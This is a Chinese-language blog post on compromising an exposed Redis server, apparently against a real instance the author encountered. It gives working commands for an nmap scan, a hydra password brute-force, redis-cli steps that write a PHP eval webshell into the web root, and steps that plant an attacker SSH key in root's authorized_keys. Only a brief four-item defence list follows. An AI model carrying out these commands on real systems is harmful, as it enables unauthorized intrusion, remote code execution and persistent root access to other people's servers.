redis拿shell

say something

最近正好有个redis的实例,记录一下。这里说两种利用方法,如果环境中支持脚本语言的话可以写shell,不支持的话可以写入 ssh key,拿到ssh登陆服务器。

什么是redis

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

写webshell

首先扫描一下开放的端口,发现有redis服务,可以爆破一下看有没有弱口令。

1
nmap -T4  -v -Pn -p1-10000 xxx

enter image description here

运气不错,成功爆出来密码~

1
hydra -P /Users/carlstar/Desktop/workspace/dict/top100.txt  redis://xxx

enter image description here

然后连接上远程的redis写马,姿势大概是这样的。

1
2
3
4
5
6
7
8
9
redis-cli -h xxx -a yourpassword

config set dir /var/www/html/

config set dbfilename shell3.php

set x "<?php @eval($_POST['a']);?>"

save

enter image description here

这样的话就成功拿到shell了

enter image description here

写入 ssh

利用条件:

​ 1、以root权限启动redis服务

​ 2、服务器开启ssh,并且允许密钥登录

在本地生成一对密钥

1
ssh-keygen -t rsa

enter image description here

然后写入将id_rsa.pub里面的内容写入就可以凭借着私钥登陆了。

1
2
3
4
5
6
7
config set dir /root/.ssh/ #如果root用户不可写可以写入/home目录下的其它用户

config set dbfilename authorized_keys

set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8av7DNPrPfmcye0qNuvBVkcfLvFUE6qFSOrKZxkA3zajzcO75G2oKC03gxr5yjBg+gCm11/O2u4iaxdyYtTqZdwQePoTazM3EBuUBKd4loBiD/dlve6ChyMSiXQpxIBHPXQ/vLIaaJ87KoM7yTkiQ+KOLvfyemTbMFKz31V82hhmZx3M8rRtHRyVKcAbqTScUi6xJ9vxayTO9HY9GGJICuxbY2JGdPWHpsNi1NDxkuc8UJN1nypHeOJxEF1ktUYW3iENgHZMd1XZ3SkPxswiQiE9wcA2opdLw2Hr9bLvawb3tYo+PHEIhnnzjaWt2ZGbwwkLFP0sdlfWlyd2ONNSn carlstar@CarlStardeMBP.lan\n\n\n"

save

防护手段

1、限制IP访问

2、增强用户口令

3、修改默认端口

4、ssh不要开启免密登陆

文章作者: Carl Star
文章链接: http://carlstar.club/2018/09/25/redis/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo